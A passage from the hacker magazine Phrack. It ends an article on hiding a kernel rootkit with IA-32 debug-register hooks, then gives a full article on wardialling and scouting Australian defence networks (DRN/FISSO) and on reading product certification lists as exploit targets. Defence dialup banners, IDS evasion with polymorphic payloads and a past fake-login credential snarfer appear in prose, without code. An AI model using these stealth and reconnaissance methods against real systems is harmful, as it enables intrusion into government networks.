thanks to the GD/BD bits so, if someone is looking at the debugging
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registers we simply ignore their curiosity (regs->eip +=3). But what if
someone wants to check all the IDT for integrity? Or what if a debugger
or a similar tool needs to place its own handler on INT 1? Are we lost 
then? 
It sure looks like it.. 

But wait.. DR6 and DR7 come to rescue once more. What we need to do is the 
following:
        
        - set up your handler on INT 1
        - set up the breakpoint to watch for INT 80 address
        - set a secondary breakpoint to watch on our handler’s address
        
Oh, wait! It can’t be that simple. Yes, it is! Like this, we practically
don’t affect the kernel at all, for the unwanted eye. In our ideal handler,
the code emulator checks the type of the instruction that attempts to 
access debug registers, wether is the breakpoint we put on INT 80 or 
INT 1 and act accordingly. We already explained what it should do for 
hijacking INT 80, let’s talk now about INT 1. By placing a secondary 
breakpoint on INT 1 or do_debug() function, we make sure that we know 
apriori when someone attempts to read the only location in the kernel 
memory we modified. The best thing to do is to make that single address 
back to original. Like this, when some devilish tool attempts to check for 
our presence in the IDT too (i don’t think there any tools doing that 
outhere, but that’s simply because a whitehat would’ve never thought it’s 
necessary), we let them see the untouched value. This is "deep cover" mode.
But did we lose the control over the kernel now? Well, not really, we’re 
still in control: we can "reinstall" our rootkit after a few nanoseconds, 
so they miss us every time they look at us. It’s like blindfolding them. 
This technique is also helpful when dealing with a debugger 
(or similar tool) trying to place its own hook in INT 1 handler. Think 
about it: we detect the attempt and make everything back to normal, they 
place their hook, we hijack their hook as a normal INT 1 hijack and as 
soon as they check for their presence, for example, by checking the
presence of the handler, we let them see themselves. It’s like chaining
hooks, or so. When I discovered that I was stunned. When I realised it
really works I was amazed. This is the ultimate stealthness, the holygrail
of hackers!

---[ Closing words

This technique has been actively used in the underground for more than 8
years now. The beauty about it: it is, in fact, a basic IA-32 feature. They
cannot defeat against it without removing the whole debug mechanism. I
decided to make it public in phrack through a "scientific" paper *g* but it
wasn’t my choice: the technique leaked a while ago. I highly doubt that the
person that leaked it knows exactly what his tool is actually capable of 
and what is actually doing, so I decided to help him and any other hacker 
in the world willing to learn and improve their skills. As you have seen, 
this is one very powerful technique, allowing one to achieve full 
stealthness on a target system. Being a fundamental processor feature, 
means it can be used on ANY operating system running on IA-32 and also, 
there is no way of detecting or protecting against it, even if it is not 
0day anymore ;(

---[ Kudos

halvar, twiz, reverser, sd and the rest of the digitalnerds
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               Volume 0x0c, Issue 0x41, Phile #0x09 of 0x0f

                             ==Phrack Inc.==

|=---------------------------------------------------------------------=|
|=--------=[ Australian Restricted Defense Networks and FISSO ]=-------=|
|=---------------------------------------------------------------------=|
|=-----------------------------[ The Finn ]----------------------------=|
|=-----------------------=[ TheFinn@phrack.org ]=----------------------=|
|=---------------------------------------------------------------------=|
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--[ 1. Introduction

This document explains and introduces a new secret network maintained
by the Australian DoD. As far as I know, this network is similar in
its usage to the American DoD’s SIPRNET. To be used in conjunction
with specially designed software to promote better communication in
the procedures and implementation of command and control systems,
intelligence and logistics.

Please keep in mind, much if it will be based on my own past experience,
observations and guesswork. Due to the volatile nature of the information
I will keep it "barely legal" while trying to introduce some of the
concepts behind the way the various DoD’s are now interconnecting and 
thus maintaining the same network security philosophy across the world.

I found this document a good idea because to find this information out
required weeks of reading and knowing where to find these things on the
web. Also you’d have to read the kinds of documents that first specifies
how it’s going to use verbs within the document, then they will convey
how they are going to use nouns... etc...

You really don’t want to go there ;)

--[ 2. Wardialling and You

After wardialling a lot of numbers I found some really interesting dialups
belonging (obviously) to the DoD which were part of the network belonging
to the Australian Navy.

You don’t really see a lot on wardialling anymore as there are so many
ISP’s people can connect to for vpn connectivity to anywhere in the world,
however the military still considers modems a good way to communicate
as they can control the access point themselves and log everything.

I personally use THCSCAN on windows to wardial with, as it works well 
in Australia for me as well as other places. (I say it works well in
Australia because over the years many wardiallers have come out with
VERY stringent rules about the numbers to be dialled which only conform
to US area-code and dialling standards - very annoying -_-). I always
have it on my laptops - go nowhere without it ;). THC have had to remove
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many of  their great tools from their website recently because of the
changes in German law regarding internet security tools, but thanks to
the guys from packetstorm it is still available there.

The other good wardialler I love to use on linux is iwar. [8]
This is a really nice wardialler, lets you use as many modems as you
can fit on the box. It can also log all the data to a mysql database - 
which I am a fan of. They are working on a sip/iax2 functionality which 
will allow dialout through a sip gateway and wardial the PSTN network on 
the other side using a software modem - it works, but with some small 
difficulties at the moment. It’s still a work in progress. Pretty 
sophisticated stuff, really nice.

It is possibly useful to note here even a commercial provider like Free 
World Dialup will allow you to dial the US, UK and NL toll free numbers 
over sip for free. There are others which will also give you local calls 
for free (in countries where they are free) with a little research, you 
can find them.

Anyhow, unfortunately in Australia, it costs you $0.22c per local call. So
this kind of info is expensive to get - even if you’re dialling on a sunday
morning at 2am (which is what I did) - unless you like sitting outside 
peoples homes beiging - I’m getting too old and fat for that anyhow ;)

But for you young skinny folk - wardialling still works well, people should
be doing it - especially in countries where local calls are free!!

When I first saw these pop up, I was pretty happy. I’d not been at the
front-door to anything like this in a while, and I knew it would keep
me interested for a bit. You have to keep in mind, the Department of
Defence is stupid and worthy of your respect - both. They are like
mmost other large animals, they are slow to move, but if they hit you,
you’ll get squished like a bug (I have been there before).

However it’s amazing how much of an understanding you can get about such
a large target by doing a little research.

When I first found these dialups it was back in 2004. I noted them
all down, and kept a copy very safe. Later on a couple years later I
rechecked them to make sure they were still valid - no other reason.

I did notice a slight change - in the banner.

Here’s the original banner back in 2004:

**************************************************************************
* CONNECT 57600                                                          *
*                                                                        *
* The unauthorised access, use or modification of this computer system   *
* or the data contained therein or in transit to/from, is prohibited     *
* by Part VIA of the Commonwealth Crimes Act and other Federal and State *
* laws.                                                                  *
* This system is subject to regular audit.                               *
* ----------------------------------------------------------             *
* For access problems please log a job through the DRN Customer Support  *
* Centre. Either phone 133272 or e-mail to                               *
* ’outage.notifications@defence.gov.au’.                                 *
*                                                                        *
* ****************                                                       *
*                                                                        *
*                                                                        *
* User Access Verification                                               *
*                                                                        *
* Username:                                                              *
* NO CARRIER                                                             *
**************************************************************************

Here’s the banner in 2006:

**************************************************************************
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* CONNECT 36000 CCCC                                                     *
*   The unauthorised access, use or modification of this computer system *
*        or the data contained therein or in transit to/from,            *
*      is prohibited by Part VIA of the Commonwealth Crimes Act          *
*              and other Federal and State laws.                         *
*                                                                        *
*            This system is subject to regular audit.                    *
*----------------------------------------------------------------------- *
* For access problems please log a job through the FISSO Support Centre. *
* Either phone 02 9359 6000 or e-mail to ’fleet.help@defence.gov.au’.    *
*                                                                        *
* *****************                                                      *
*                                                                        *
*                                                                        *
* User Access Verification                                               *
*                                                                        *
* Username:                                                              *
* NO CARRIER                                                             *
**************************************************************************

(The part I starred out was the actual dialup location and line number 
which are a code for maintenance purposes for the terminal server I guess.)

As you can imagine I was kinda interested in why it changed from a DRN
(Defense Restricted Network) to FISSO and what FISSO was.

I checked around the web, and then started reading all the pdf’s that
the military in Australia declassify and make available to the public.

--[ 3. Origins of FISSO

Currently the RAN (Royal Australian Navy) has expanded the DRN (Defence
Restricted Network) to allow for more robust communications protocols
(still an IP Network) and Services. Thus FISSO (Fleet Information Systems
Support Organisation) is born out of the old Navy driven DRN Support Group.

During some time when those banners above changed, the DRN was expanded
to include the other armed services branches Army and Air Force.

They are now implementing the networking technology overseas with
collaboration efforts in the UK and USA. This will allow far better
communications between the various armed services of the west and thus
provide better cohesion. This is where the CCRA comes in.

It is also interesting to mention here one project which has been in the 
press for years - ECHELON. The USAUK Agreement back after WW2 has allowed 
vast amounts of intelligence to be shared among the member nations as well 
as projects like ECHELON to be enacted. This new criteria for security 
measures internationally is a new brick in the wall for these intelligence
communities.

Keep in mind - when you see this kind of press for things like ECHELON, 
that is one thing, but most of the intelligence agencies will not share 
high level intel with ANYONE, not even allies. What they will usually 
share are things that used to come under the term "domestic terrorism" - 
which after 9/11 is a relative term with the Homeland Security Department 
being formed.

Unfortunately or fortunately - depending how you look at it, as a result,
the list itself shows clearly which evaluated products are in use on
such networks - which is at least of interest to us.

One of the fundamental problems with making rules is the existence of
anomalous circumstances - exceptions - which most of us are aware of ;)

Creating a criteria and then an implementation procedure for security
devices takes a long time, it is also expensive for the company doing
the implementation - as they must pay for the DSD staff’s time to do
criteria evaluations - for their specific implementation of their product.
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These rules are followed stringently at the time of a particular
installation.

The amount of beaurecracy found in the DSD is mind-blowing. Thus their
ability to move quickly on any given specific flaw in security is AT TIMES
small. They do however keep internal security mailing lists, patches and
often have direct contact with not just vendors of products but also the
original architects most of these won’t relate to CCRA listed products
however - more on all of this in the next section.

You will even in places find tricks implemented in a DSD controlled network
that you will find nowhere else in the world - you have been warned.

--[ 4. Australian DoD and FISSO

FISSO themselves are a rehash of the old DRN Support Group who
maintained the old Defense Restricted Networks for the DoD. FISSO is
the new project the Navy is (still) running for the DoD - Keep in mind,
the navy has historically been in charge of many signals projects before
other branches of armed services have been invited to join or use them -
the same I believe is true of the US Navy. (Must be all that morse code).

The FISSO Network is a support network for DoD Personel to communicate
with each other around the world with low level communications
mediums. Which is to say laptops or other small computer systems with
modems in order to help officers and other officials to communicate
across the globe in a secure manner for departmental purposes.

The FISSO Network Support Group has had several contract workers in the
DoD to create a network with many quite amazing and intricate network
systems. The officers are able to communicate with voice over ip, digital
video, whiteboards, conference rooms, text chat and other ways [6].
They can exchange files and communicate over the parts of the network
that have been secured by the DSD and the old DRN Group.

Aspect Computing currently hold contract with the DoD for FISSO Core
Contract and FISSO In-House Contract Payment. Given the amounts in
the reports I’ve read, I’d suggest they’re probably just contracting
either software or hardware or both to the Navy (my best guess) who would
likely only trust DoD or DSD staff to maintain the support centre itself.
(It might contract out some positions to suitably DoD security cleared
contractors - likely top-secret or better would be required).

At present Aspect Computing is being paid approximately $2 million
dollars a year for support to FISSO. This would probably be a 3rd tier
support network, to be used after both the FISSO Support and KAZ could
not fix a particular issue.

KAZ Technology Services (Procured by Telstra in 2004) is also a contractor
who provides Command and Support Systems for Officers and Logistical
Support Systems Integration that is to say that these guys provide all
the really nice and interesting comms software that the officers and
support/logistical personel use for decision making and chain of command
order verification. (Think of them as the Australian version of SAIC).
They won a 5 year $200million contract back in 2005 to provide desktop
computing to the RAN (Royal Australian Navy). Kaz had maintained a
relationship with DOD since its inception in 1988 and is being offered
2 year contract extensions up until 2015.

Kaz staff go through rigourous security checks in order to be cleared
to work on the FISSO network and they have in the past been helicoptered
out to sea in order to complete work in required timeframes.

From a KAZ document regarding their FISSO solution:
"Behind these capabilities, KAZ high security architecture integrates
Lotus Notes R5, Domino, SameTime (including server to server federated
architecture), LAN/WANs, MS Windows NT Servers, MS Windows Terminal
Servers, Citrix Mataframe Xpe 1.0, Ultra Thin Clients, HP-UX and
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Hummingbird Exceed.

The architecture also draws on TCP/IP, ISDN and modems to connect
the Fleet to services across Defence intranets, with the addition
of cryptographic black boxes outside each of the on-board servers to
maintain military level security.

KAZ also integrated SameTime technology to extend the Navy’s collaborative
capabilities to a Coalition Wide Area Network (COWAN), involving
naval systems belonging to Allies such as the United States and United
Kingdom." [6]

You’ll notice KAZ’s inference of a Coalition Wide Area Network which I can
find no other mention of that particular acronym. It might be either a
marketting insertation or something that eludes to more restricted
documentation. Either way you have to assume KAZ knows more about it than 
us and I find it interesting that such a beast is mentioned here.

IBM Provide Hardware and Software also to do with Logistical support
for the various arms of the DoD. [4]

Sun Microsystems are providing Hardware and Software for security based
firewalls and other security devices (RFID and biometric authentication
device drivers and such). [4]

Lotus Notes and Domino are in use widely still to this day - which at
first I wasn’t sure of but I was in discussion on with a friend and he
pointed out the KAZ website - I’d suggest the Navy would be loath to
update their systems as often as normal corporates would.

<axe> Lotus-Domino 5.0.9
<axe> i’m surprised that still exists
<thefinn> those docs are old
<thefinn> probably doesn’t exist now
<thefinn> but might still
<thefinn> u never know, their beaurecracy is amazing sometimes
<thefinn> i actually worked with a prime 9950 at one company
<thefinn> didn’t even run the newer version of cobol
<thefinn> ...
<thefinn> took up half a room
<thefinn> was sitting next to all the AT&T servers
<thefinn> funny stuff
<axe> http://www.kaz-group.com/subscribe
<axe> yeah, just to keep some legacy code running
<thefinn> yeah
<axe> <!-- Lotus-Domino (Release 5.0.9a - January 7, 2002 on Windows 
           NT/Intel) -->
<thefinn> wow
<thefinn> there ya go
<thefinn> dude im gonna add that in the article
<axe> how may i own thee, let us count the ways..
<thefinn> haha

--[ 5. An Introduction to the the EPL and CCRA.

Let’s introduce the criteria themselves’. At the moment the DSD have 2
different tables of criteria the ITSEC system and the CCRA for evaluating
products for secure use on Military and Government networks.

The DSD (Defence Signals Directorate) is the main body behind secure
communications for the Australian Government, ostensibly they take the
same role as the NSA does in the US. The EPL (Evaluated Products List)
is the list the DSD creates and maintains denoting all products put
forward by vendors for assessment by the DSD for use in high level,
high security government networks and systems. There are a number of
criteria in the DSD which products are assessed for.

The CCRA (Common Criteria Recognition Arrangement) is an agreement by
NATO nations in the west to rate equipment by a shared standard as well
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as share past evaluated products at a common rating so that they might
interconnect their military and government networks to better control
your sorry ass. ;)

To allow those poor corporates who have spent lots and lots of dollars
on getting their products evaluated, time to re-evaluate them under
the new international system, the CCRA (as a body) are going to allow
member countries who have used the ITSEC (Information Technology Security
Criteria) system (including the USA, UK, Australia) to use ITSEC rated
products as CCRA rated products for the timebeing.

This basically means the EPL’s for all these countries are now turning
into the CCRA. They are amalgamating 50 years of "defense" protocols
and political maneuvering to be able to dominate more freely. After
all it wouldn’t be nice to have UK troops in some little out of the way
village while the US Navy are ordering cruise missiles to destroy it from
1000 kilometers away - the speedy communications methods and stringent
protocols (military protocols) enabled by a communications network like
this would allow for these kinds of scenarios to be less of a concern
and have a million other benefits.

Along with the E1-E6 (ITSEC) and EAL1-EAL7 (CCRA), there is a network 
designation relating to the secrecy and security needs for the network,
as follows: UNCLASSIFIED, IN-CONFIDENCE, RESTRICTED, PROTECTED, National
Security/HIGHLY PROTECTED.

The Document relates the required security device to be used
interconnecting the different networks which I will include here:

*************************************************************************
* SRC NETWORK    * AND DST NETWORK IS     *  THEN YOUR GATEWAY REQUIRES *
*************************************************************************
* UNCLASSIFIED   * - public domain.       *  a traffic flow filter.     *
*                * - UNCLASSIFIED.        *                             *
*                * - IN-CONFIDENCE.       *                             *
*                * - PROTECTED.           *                             *
*                * - HIGHLY PROTECTED or  *                             *
*                *   National Security.   *                             *
*************************************************************************
* IN-CONFIDENCE  * - public domain.       *  an EAL2 Firewall.          *
*                * - UNCLASSIFIED.        *                             *
*************************************************************************
*                * - IN-CONFIDENCE.       *  a traffic flow filter.     *
*                * - PROTECTED.           *                             *
*                * - HIGHLY PROTECTED or  *                             *
*                *   National Security.   *                             *
*************************************************************************
* RESTRICTED     * - public domain.       *  an EAL2 Firewall.          *
*                * - UNCLASSIFIED.        *                             *
*                * - IN-CONFIDENCE.       *                             *
*************************************************************************
*                * - PROTECTED.           *  a traffic flow filter.     *
*                * - HIGHLY PROTECTED.    *                             *
*                *   National Security.   *                             *
*************************************************************************
* PROTECTED      * - public domain.       *  an EAL4 Firewall.          *
*                * - UNCLASSIFIED.        *                             *
*************************************************************************
*                * - IN-CONFIDENCE.       *  an EAL3 Firewall.          *
*                * - RESTRICTED.          *                             *
*************************************************************************
*                * - PROTECTED.           *  an EAL2 Firewall.          *
*************************************************************************
*                * - HIGHLY PROTECTED or  *  an EAL1 Firewall.          *
*                *   National Security.   *                             *
*************************************************************************

Can you see the interesting parts with regard to our dialups?

2 things I notice right away. If anything HIGHLY PROTECTED or National
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Security rated are connected to the network we have dialups for - there’s
only a packet filter in between me and it - if the old DRN network rating
hasn’t changed. (A restricted network).

Also, behind that terminal server, I can probably expect to find myself
facing a nice EAL2 rated firewall. As I would assume the PSTN Network is
considered "Public Domain". It may even require some kind of secure-ID
type authentication - a one time pad or smartcard.

This would be a theoretical login session given the types of equipment
listed on the EPL and what they are used for.

The network topology could easily include remote identification servers.
The  terminal server itself can instigate PPP with a client, pass you 
through to the Cisco VPN 3000 Concentrator(EAL2), you authenticate there 
via key and it directs you to where you’re trying to go, when you get 
there you have a Sun Firewall-1 (EAL4+) asking for your SecureID one time 
PAD or similar product.  Once you do that, you can check your email, 
download your porn, whatever.

Also the other interesting thing to note - EAL1 rated firewalls are only
going to be found on PROTECTED, HIGHLY PROTECTED or National Security
networks and only where they interconnect with others of the same security
rating. If you find one one of those firewalls - you know the importance
of the networks you’re on.

Now down to the exact security designations for the products:

EAL1 - Functionally Tested. Provides analysis of the security functions,
using a functional and interface specification of the TOE (target of
evaluation), to understand the security behaviour. The analysis is
supported by independent testing of the security functions.

EAL2 - Structurally Tested. Anaysis of the security functions using a
functional and interface specification and the high level design of the
subsystems of the TOE. Independent testing of the security functions,
evidence of developer "black box" testing, and evidence of a development
search for obvious vulnerabilities.

EAL3 - Methodically Tested and Checked. The analysis is supported
by "grey box" testing, selective independent confirmation of the
developer test results, and evidence of a developer search for obvious
vulnerabilities. Development environment controls and TOE configuration
management are also required.

EAL4 - Methodically Designed, Tested and Reviewed. Analysis is supported
by the low-level design of the modules of the TOE, and a subset of the
implementation. Testing is supported by an independent search for obvious
vulnerabilities. Development controls are supported by a life-cycle model,
identification of tools, and automated configuration management.

EAL5 - Semiformally Designed and Tested. Analysis includes all of
the implementation. Assurance is supplemented by a formal model and a
semiformal presentation of the functional specification and high level
design, and a semiformal demonstration of correspondence. The search
for vulnerabilities must ensure relative resistance to penetration
attack. Covert channel analysis and modular design are also required.

EAL6 - Semiformally Verified Design and Tested. Analysis is supported by
a modular and layered approach to design, and a structured presentation
of the implementation. The independent search for vulnerabilities must
ensure high resistance to penetration attack. The search for covert
channels must be systematic.  Development environment and configuration
management controls are further strengthened.

EAL7 - Formally Verified Design and Tested. The formal model is
supplemented by a formal presentation of the functional specification
and high level design showing correspondence. Evidence of developer
"white box" testing and complete independent confirmation of developer
test results are required. Complexity of the design must be minimised.
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Note: Only assurance levels 1-4 are incorporated in the CCRA currently,
and ratings of products which fit criteria above level 4 in Australia,
are designated 4+ on the EPL.

Here I’ll give a few examples of ratings from random catagories.
(The EPL is split up into various network devices and then the larger
part of network security products).

Biometric Products
EAL2  - Iridian Technologies KnoWho Authentication Server and Private ID

Miscellaneous Devices
E1    - NEC S2 (Mobile Satellite Terminal)
EAL1  - Cisco VoIP Telephony Solution

Network Security Devices
EAL1  - Secure Session VPN v4.1.1
EAL2  - SurfControl Email filter for SMTP
EAL4  - Clearswift Bastion II Firewall
EAL4+ - Cisco Secure PIX Firewall V7.0(6)

Operating Systems
E3    - AIX V4.3
EAL4+ - Sun Trusted Solaris 8/04
EAL4+ - Windows 2000 Professional, Server and Advanced Server 
        with SP3 and Q326886 Hotfix *cough*bullshit*cough*

There are also smartcard products, PC Security products, encryption 
products, and many other catagories. More in-depth information can be 
found on the website itself regarding each product.

--[ 6. The EPL and CCRA in depth

During 1998 The United Kingdom, France, Germany, The United States and
Canada put in place the CCRA. Australia joined in 1999. It should be noted
here also that under the member countries list (with contact details)
under the DSD website, Japan, South Korea, Netherlands and Norway have
also joined the CCRA recently.

This Criteria is for use between the countries in any kinds of shared
network arrangements - this process is called "Mutual Recognition". The
philosophy behind this is that overseas products rated by the DSD, NSA
and various other organisations can be used in other member countries
without being re-evaluated as the criteria is the same. Although it may
be noted that (at least in Australia) the DSD does provide exceptions for
any kind of cryptographic equipment which it may need to give particular
evaluation to.

(I wonder if this is a security concern or more to do with compatibility).

Also available is the ACSI33 Network Security Manual - Public Domain
Copy [1] - this is much like the old DoD Orange Book in the US.
This manual defines many of the Australian DoD Network security standards
and criteria prerequisites for many of the supplicants of DSD/DoD approval
for the Evaluated Products List (EPL).

If you check the EPL itself, you’ll find criteria certification reports
and security target papers, defining how the product was certified,
possible weaknesses in the product, how the product should be used in
the DoD and all the contact details any given DoD department should need
to buy such a product or get information on it.

You have the shopping list for exploits, contact information for social
engineering, a detailed outline of what to worry about once you’d attacked
a DoD network point and how to hide yourself from IDS - you have the list
of what IDS are used, and can download the IDS signature recognition
files and run those through something like IDA Pro disassembler. Then
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modify your code/payload to no longer alert the IDS software, use of
polymorphic payload would be a good technique to use for this once you
know the triggering pattern.

Since the old days of hacking into .mil’s on the old milnet (the cold-war
ip network of the USA which was used both for research and development)
of the early 90’s lots of things happened. Lots of busts and a lot of
talk of securing the governments of the western world. And they are not
the only ones. Since the early 90’s we’ve seen a huge amount of digest on
changes to computer related laws worldwide in relation to this particular
agenda in places like Russia, China and North Korea.

There is more than enough information in these documents to set up
an elaborate network attack, when the various military organisations
will be more reliant than ever on these networks for command and
control, logistics and communications.

More interesting is the fact that on the UK EPL and the US EPL they also
list the same products with the same rating - even though some of them have
been independantly assessed (haha), further pushing the point that these
networks are now at least slightly interoperable or at least becoming so
over time.

The scarey part is that it’s connected to the largest military
body in the world. The US DoD, who have run SIPRN for many years, since 
they re-built the early milnet after the cold-war. The network there being
able to at least speak to the Australian network and be restricted by
guidelines of Mutual Recognition as set down by the new standards in the
CCRA must of course adhere to the same standards, and can be recognised
by the EAL designation on the Australian and UK EPLs.

Theory: Latest exploits - or even old ones - could still work
to this day on many of the systems because of the way the EPL is
implemented. Companies must pay to become a part of the EPL. It can cost
upward of $1,000,000 AUD to get a product certified sufficiently. From
the companies point of view - the more they pay, the better their market
share is, because the further up the EPL rating they go - by taking
more time through evaluation - which costs more to get evaluated for,
they find less companies are willing to pay for the evaluation.

This directly impacts sales because the more secure a network is rated
internally by the DSD the less choice any given department has for the
products to secure it.  Pretty much the DSD/NSA etc. will give you a
license to print money - as long as you pay THEM first. 

Here’s one recent example of the whole deal going wrong which has come out
in the press as I wrote this article [7]. I find it interesting that even 
the most educated security consultants aren’t really that aware of the way
the intelligence community is functioning when it comes to the CCRA/EPL
equipment. Their mention of "Pentest expresses doubts about whether the
certification of the firewall according to Common Criteria EAL4+ is 
merited on the basis of the flaws it unearthed." amuses me. Fact is, once
a particular IMPLEMENTATION of a product is evaluated, it doesn’t change.
It won’t be "Regularly Patched" or even "Regularly Evaluated", any changes
whatsoever made to the  implementation make it non-standard and no longer 
adhering to the criteria it was evaluated for originally - that’s the point
of evaluation - as far as the DSD/NSA are concerned.

You are almost back at the old NASA addage back when the space race was
on and they would joke that the Russians had their best minds and parts
going into their project while the US spacecraft was 10,000 moving parts,
all built by the lowest bidder run by a group of people chosen on their
ability to kiss ass.

This is the basic problem with beaurecracy in the western military. 
Beaurecrats are always trying to justify their existence, they do so 
by telling everyone what they are doing and companies involved want to say 
"hey look what we did for the DoD".

On with our look at the pretty secure network: Without actually breaking
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in, we can’t know if you can break into the american network from the
Australian side, or any other side, however, the previous designations
with regard to PROTECTED networks connecting to National Security Networks
could tell us that we might be able to easily. I suggest that no matter
what the CCRA will tell countries to do, their own internal DSD, NSA, DoD
computer departments will require some heavy security between coalition 
members. But this is only an assumption on my part, I wouldn’t put it
past the various department heads to cut costs here - it happens.

I find it amusing that in none of the above departments or EPL’s does
NSA SELinux get a mention ;) (Probably just someone’s pet project).

One assumption you’d have to make is the network wouldn’t be fast out of
the country you’re in. Ground based satellite transponders are bound to
be slow, ship based ones even slower. Network coverage of combat areas
is going to be pretty nasty for data - especially if you are on a dialup 
line. But they are there. Recent Satellite scans show a large number of S 
and X band non-commercial satellite beacons (which show working 
transponders in space) and data/analog signals which are encrypted as no 
in-band scans return any valid output at all (you can see the bandwidth is 
being used however).

I dont have a lot of information about the SIPR Network, not being in the
U.S (hopefully it will not be long before someone writes another article
on it).

But from the DISA website:

SIPRNet: The Secret IP Router Network (SIPRNet) is DoDs largest
interoperable command and control data network, supporting the Global
Command and Control System (GCCS), the Defense Message System (DMS),
collaborative planning and numerous other classified warfighter
applications. (Note: I suggest warfighter applications means training
programs).

Direct connection data rates range from 56 kbps to 155Mbps. Remote
dial-up services are available up to 19.2kbps.

The data rates there are interesting, meaning they also have dialup and
ATM links available possibly faster is now available as that page hasn’t
been updated since the mid 90’s.

--[ 7. Other Standards

The only other standards I’ve found that are worthy of note for this 
particular paper are the encryption standards. These are also noted in the 
acsi33 document fully. The usage of 3DES and AES for symmetrical 
encryption and RSA/DH/DSA/Elliptic Curve Diffie-Hellman (ECDH)/Elliptic 
Curve Digital Signature Algorithm (ECDSA) for asymmetric (key exchanges). 
Encryption is not my strong point, however it should  be noted the CCRA 
members defer to NIST with regard to most of their encryption 
standards.

Fact is I am quoting almost directly from the acsi33 document here, the 
only encrypted VPNs I ever set up for these companies I worked for were
Cisco IOS 3des algorithms.

--[ 8. Secrets

At the end of the cold war, there were probably a few hundred thousand 
computers hooked up to the internet. Almost every country on earth had 
SOMETHING hooked up. The R&D departments of universities in Australia was 
where I got my internet access from and developed contacts in the hacker
scene of the time. At that time China and the USSR were both large threats
to western dominance, however I find it interesting to note that all of the
member countries of both of these power blocks were internet connected at 
the time the cold war was in full force.
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The US DoD or DARPA has still never actually disclosed any given project to
do with engineering or humanities that the internet actually facilitates 
apart from communication.

One has to wonder about the significance of the storm worm and other such 
virii, their ability to act as an autonomous strike against non-military,
but more a regional strike against economic infrastructure. 

The foreseen assumption of any given biological, nuclear or widespread 
terrorist attack would be that that economic infrastructure would disolve
before military infrastructure.

After having written this article, I’m not entirely sure that is a valid 
assumption...

--[ 9. Conclusion

Much as I would like to write more about the networks in other nations
(Japan and France would be nice to find out about), I don’t really have
the time to wardial or do research for so many networks in so many 
countries. It will have to come at a later date by other writers. But keep 
in mind, the USA spend the most on industrial military and mainstream 
military projects in the world just by matter of overall odds for breaking
in and not being discovered, they are probably your least favourable 
target. As the network seems to now be interconnected with other NATO 
nations, one of the nations spending less on it might be give
better outcomes.

The standards are the same across the board anyhow, most of this 
information will still be good as long as you are in, or looking at a 
network in one of these member nations.

I think many people in the various military departments across the world
who are member organisations for this particular network should be quite
embarassed by this information being so easy to get. Security through
obscurity is another oldschool technique which seems to have gone the
way of the steam train - even by those who should be most concerned with
obscuring and securing their data.

Any hacker who has been around for any decent length of time can tell you
there is a way around any system - if you added the extra advantage of
having many men who are ready and willing to come to your country and
"kick the door down" to procure some of this information, the people
responsible for this should be concerned. If we can glean all of this
from the "public domain" security level, imagine just having some access
to documentation from the IN-CONFIDENCE network computer.

In my own experience in working for the Australian DSD through
contractors, I found many times that their network data security was
very dependant upon one or two applications that were bought from
outside organisations - poorly implemented and only very rudimentary
security precautions taken. Even the fact that I worked there - even with a
previous criminal record to do with gaining access to commonwealth 
systems,  inserting data in commonwealth systems, and defrauding the 
credit card system - was a security breach. 

One of the first computers I ever broke into was done via a COBOL packet 
snarfer. I re-wrote all of the screens to all of the computers the terminal
servers would connect to. Then from an account I looked over someone’s 
shoulder to get, I ran up the snarfer and it would look as if I had logged 
out. I hadn’t, in fact the program was running and looked like the login 
screen. When you typed in your username/password pair, it gave the 
usual "Password Authorisation Failure" or other error message (depending 
on where you were logging in) and it logged it to a file in another 
account - which had the file permissions opened on it so other accounts 
could write to its’ directory. The program then logged itself out - 
giving the user the normal login screen. Completely unseen by them, and 
they merely thought they had typed the wrong password.
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8 Years later I was working for this particular contractor to the DSD, I 
found myself sitting  in Air Force bases, Navy Logistics Centres, as well 
as many high-end government and corporate computer security departments. 
Physical security was not an issue - even though, if propper background 
checks had been done on me - I would not have been allowed 
to be there.

Iin the past few months I’ve seen various talk in the press about botnets,
attack vectors from unknown sources and the dreaded "black hat" hackers. 
The latest laugh I had was the stats from google saying that more unix 
boxes had been compromised than windows boxes and the reporter couldn’t 
understand why unix was considered more secure than windows. They didn’t 
and don’t to this day understand WHY *nix and open source are more secure 
- I am not going to educate people here.

Creating an aire of "hype" or complacency in any security environment is 
completely unconstructive, use of "known factors" through use of friends 
and other associates is likewise unconstructive.

The reasons for this are simple and are defined indeed by one of the latest
press releases from the whitehouse.

"On the last day, we won’t be lost because of a lack of strength or a lack 
of equipment. We’ll be lost because of a lack of trust."

--[ 10. Annex

Acronyms: 
---------

[i]    RAN - Royal Australian Navy 
[ii]   FISSO - Fleet Information System Support Organisation.  
[iii]  DSD - Defence Signals Directorate.  
[iv]   DoD - Department of Defence.  
[v]    DRN - Defence Restricted Network.  
[vi]   NSA - National Security Agency (USA).  
[vii]  SIPRN - Secret IP Router Network (US DoD).

Resources: 
-----------

[1] http://www.dsd.gov.au/library/infosec/acsi33.html 
[2] http://www.cesg.gov.uk/site/iacs/index.cfm? 
    menuSelected=1&displayPage=151
[3] http://www.defence.gov.au/dmo/id/cic_contracts/Values2001-2002.pdf
[4] http://www.yaffa.com.au/defence/pdf/05/top40-20-2004.pdf
[5] http://www.disa.mil/main/prodsol/data.html 
[6] http://www.kaz-group.com/files/casestudies/cs_ran.pdf
[7] http://www.theregister.co.uk/2007/10/03/check_point_pentest/
[8] http://www.softwink.com/iwar/
[9] http://www2.packetstormsecurity.org/cgi-bin/search/search.cgi?
    searchvalue=thefinn&type=archives&%5Bsearch%5D.x=0&%5Bsearch%5D.y=0


